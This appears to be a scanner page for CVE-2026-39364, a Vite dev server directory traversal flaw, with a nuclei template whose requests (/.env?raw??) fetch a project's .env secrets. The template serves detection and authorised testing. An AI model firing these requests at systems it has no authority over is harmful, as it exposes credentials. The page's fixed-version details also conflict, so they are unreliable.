Vite Dev Server - Directory Traversal

highseverity

7.5CVSS score

2.3%likelihood of exploitation, next 30 days

83%of all CVEs are less likely

Readycheck to confirm it

Vite is a modern frontend build tool. In Vite prior to versions 6.4.3, 6.3.4, and 5.4.23, a directory traversal vulnerability affects the Vite development server. When the Vite dev server is launched with the --host or server.host option, an unauthenticated attacker can craft a request with a path containing dot segments (e.g., /.vite/../<filename>) to bypass static file restrictions and access arbitrary files on the filesystem under the project root. The vulnerability allows access to files normally denied by Vite’s "server.fs.deny" setting, including sensitive files like .env, configuration files, or credentials in the project root. This issue has been fixed in versions 6.4.3, 6.3.4, and 5.4.23.

Impact

Attackers can retrieve sensitive files like .env or certificates, leading to information disclosure.

Fix

Update to versions 7.3.2 or 8.0.5 or later.

How to confirm it

Send: GET {{BaseURL}}/.env
Positive when: status 403
Send: GET {{BaseURL}}/.env?raw??
Positive when: contains_all(body, "export default", "data:application/json;base64") and contains_any(content_type, "text/javascript", "application/javascript") and !contains(tolower(body), "<html") and status_code …

Run it with nuclei: nuclei -id CVE-2026-39364 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2026-39364

info:
  name: Vite Dev Server - Directory Traversal
  author: ritikchaddha
  severity: high
  description: |
    Vite is a modern frontend build tool. In Vite prior to versions 6.4.3, 6.3.4, and 5.4.23, a directory traversal vulnerability affects the Vite development server. When the Vite dev server is launched with the --host or server.host option, an unauthenticated attacker can craft a request with a path containing dot segments (e.g., /.vite/../<filename>) to bypass static file restrictions and access arbitrary files on the filesystem under the project root. The vulnerability allows access to files normally denied by Vite’s "server.fs.deny" setting, including sensitive files like .env, configuration files, or credentials in the project root. This issue has been fixed in versions 6.4.3, 6.3.4, and 5.4.23.
  impact: |
    Attackers can retrieve sensitive files like .env or certificates, leading to information disclosure.
  remediation: |
    Update to versions 7.3.2 or 8.0.5 or later.
  reference:
    - https://github.com/vitejs/vite/security/advisories/GHSA-cw47-99h4-q43f
    - https://nvd.nist.gov/vuln/detail/CVE-2026-39364
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-39364
    cwe-id: CWE-22
    epss-score: 0.02259
    epss-percentile: 0.83116
  metadata:
    max-request: 2
    fofa-query: body="/@vite/client"
    shodan-query: http.html:"/@vite/client"
  tags: cve,cve2025,vite,exposure,bypass,vkev

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/.env"

    matchers:
      - type: status
        status:
          - 403
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/.env?raw??"

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "export default", "data:application/json;base64")'
          - 'contains_any(content_type, "text/javascript", "application/javascript")'
          - '!contains(tolower(body), "<html")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from